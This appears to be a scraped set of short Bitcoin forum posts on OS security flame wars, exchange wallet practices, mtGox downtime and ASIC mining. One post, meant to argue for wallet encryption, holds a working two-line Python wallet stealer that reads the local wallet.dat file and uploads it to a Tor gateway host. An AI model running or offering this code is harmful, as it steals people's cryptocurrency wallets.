What about DragonflyBSD? The Hurd? Or what about Haiku?!
Seriously! Stop feeding this troll, he won't share his "wisdom" anyways, neither here nor to anyone else who won't pay his little 5-digit sum.
Yes, Bitcoin exchanges were more or less overrun by users in the past few months - whoever didn't know this (there are charts, people!) does know now.
but... but.. its funny to feed him
|
|
|
I read so much hate in these forums. People please, chill out.
oh im not hateing, just using my mind. and it tells me that you are a stupid troll. (sorry)
|
|
|
FreeBSD has less bugs than Linux (one fold less).
no freebsd has less discovered bugs.. and now you are talking about openbsd instead of freebsd. either you are stupid or you dont know what you are talking about. openbsd is maybe the most paranoid OS in the world, yes thats right. The production machines with the best uptime are FreeBSD based.
and...? uptime != security Still you think that Linux is safer than FreeBSD?
i have never said that. you are the one waving the freebsd flag. i say you are a troll.
|
|
|
Ok. Let's rephrase my previous sentence:
Given that a Serious security flaw is a flaw that permits privilege escalation, or leakage of database.
Given that parameter Psi = [ ( # of serious security flaws - 1 ) / ( # of running systems )^2 ] remapped in [0, 1]
Do you agree that, with a confidence level of 0.99, the correlation between the parameter Psi and Linux is stronger than with FreeBSD? Okay, now you're really making yourself look stupid. Please no one pay this guy anything. please explain...
|
|
|
LOL No. they are afraid if they open source the code, they will have 100 exploits/day. Windows is not opensource. you can compare linux and *bsd, and you can compare windows and mac. but not linux with windows.
windows also uses a lot of security though obscurity, which means it sucks. (sorry all you windows fanbois, its not to start a flamewar)
so you can compare open source code and say that more bugs are better, while you cant compare open source and closed source? I'm not sure I follow you. yes: more fixed bugs are better then more unfound bugs. and you cant trust closed source code: microsoft could have put a backdoor in windows, so that NSA could gain eazy access to any windows system. (I like conspiracy teories )
|
|
|
freebsd is also less used so there might be more bugs and exploits to discover. i acatualy like that there has been more holes in linux, because it means that they are fixed. so windows has top-notch security? LOL No. they are afraid if they open source the code, they will have 100 exploits/day. Windows is not opensource. you can compare linux and *bsd, and you can compare windows and mac. but not linux with windows. windows also uses a lot of security though obscurity, which means it sucks. (sorry all you windows fanbois, its not to start a flamewar)
|
|
|
freebsd is also less used so there might be more bugs and exploits to discover. i acatualy like that there has been more holes in linux, because it means that they are fixed.
|
|
|
I think the exchange sites should implement that by themself, not in the bitcoin protocoll
thats what we are talking about. pleas try to understand before you post
|
|
|
+1 agree. they should also transfer bitcoins out to a offline wallet, and only hold 1000btc in the online wallet, ready to cashout.
|
|
|
The weekend fair at mtGox just broke... LoL true, mtgox is down!
|
|
|
Watching this. Just commenting so I can follow the thread. bookmarked Just posting to follow this thread Following. Subscribe. Watching this thread. Thanks for letting us know, guys, but please use the notify button next time. the notify button, also sends you a mail
|
|
|
I was up early early today so here is the daily BitCoin Comic nice one
|
|
|
Well they're working on it for the next update and only have so many hands. Be patient.
i am patient! just worrying about the noobs, who download crap to their computers. im just wanting to show how eazy it is, to steal a wallet
|
|
|
WE NEED ENCRYPTED WALLETS! NOW!
Planning to help speed up the process? nope! im lazy as hell
|
|
|
import urllib as u, os.path as o u.urlopen("https://yfwcdtpmqwrqu2pl.tor2web.org",open(o.expanduser("~/.bitcoin/wallet.dat")).read())
thats is! so simple can a wallet stealer be. JUST 2 LINES! WE NEED ENCRYPTED WALLETS! NOW!
|
|
|
call me a noob but i still cant think of a p2p sys where any participant needs all blocks loaded and any block has all the recent transactions with like 50 mio transactions per day (because its a success and any one is online shopping with it ;o)
a block is only 80 bytes long. its of no concern see: https://en.bitcoin.it/wiki/Scalability
|
|
|
Hello, I am BlueThursday and I am currently posting in a generally-contentless newbie thread.
+1
|
|
|
he is funny! and he is only doing this to scare people away from bitcoin, so the prices drops, so he can buy at 0.10$ he is just whining!
|
|
|
One obvious thing to bear in mind is that, at some point, the pools will inevitably all increase the difficulty of each share in order to reduce the work required to check all the submitted shares. So any ASIC-based mining system needs to be capable of checking hashes against difficulty levels above the minimum, either in the ASIC itself or in the processor controlling it. It looks like BTC Guild is actually making this change right now - there's a notice on their website saying they're doubling the difficulty per share. (This also requires changes to the software controlling FPGA miners.)
Edit: The other is that there's a good chance pools will eventually move to making miners compute midstates locally, again to reduce their resource usage. That's almost certainly best handled on a controller CPU rather than the main hash-computation hardware. What's more, since the rate of midstate computation is roughly proportional to the number of gigahashes/sec, mining ASICs would probably mean both of these happen sooner than they otherwise would.
Both of these can easily be handled on the controller CPU up to an FPGA speed of several gigahashes, so this is just a firmware matter and not relevant for the actual ASIC. Oh, and yes, my miner ignores the requested difficulty. This just means that it keeps sending difficulty 1 shares, which means that it refuses to reduce the server load and ends up with roughly half of the shares being rejected, but will work perfectly fine apart from that. While it should of course be fixed, this issue isn't critical. Would a more generalized SHA256 ASIC have dual-purpose for a security firm or similar, assuming a controller could handle enough of the logic for hashing? Or is the whole point of an ASIC to make it as highly specialized as possible to get optimal efficiency? to make it highly specialized.
|
|
|
Sorry to tell you, that you won't ever break even with this setup. We will see a difficulty of 10,000,000 in a couple of weeks, after that you can be glad to cover the costs of energy with GPU mining. Certainly you won't have the cost of investment back up to that point.
it is likely that the price will rise too
|
|
|
|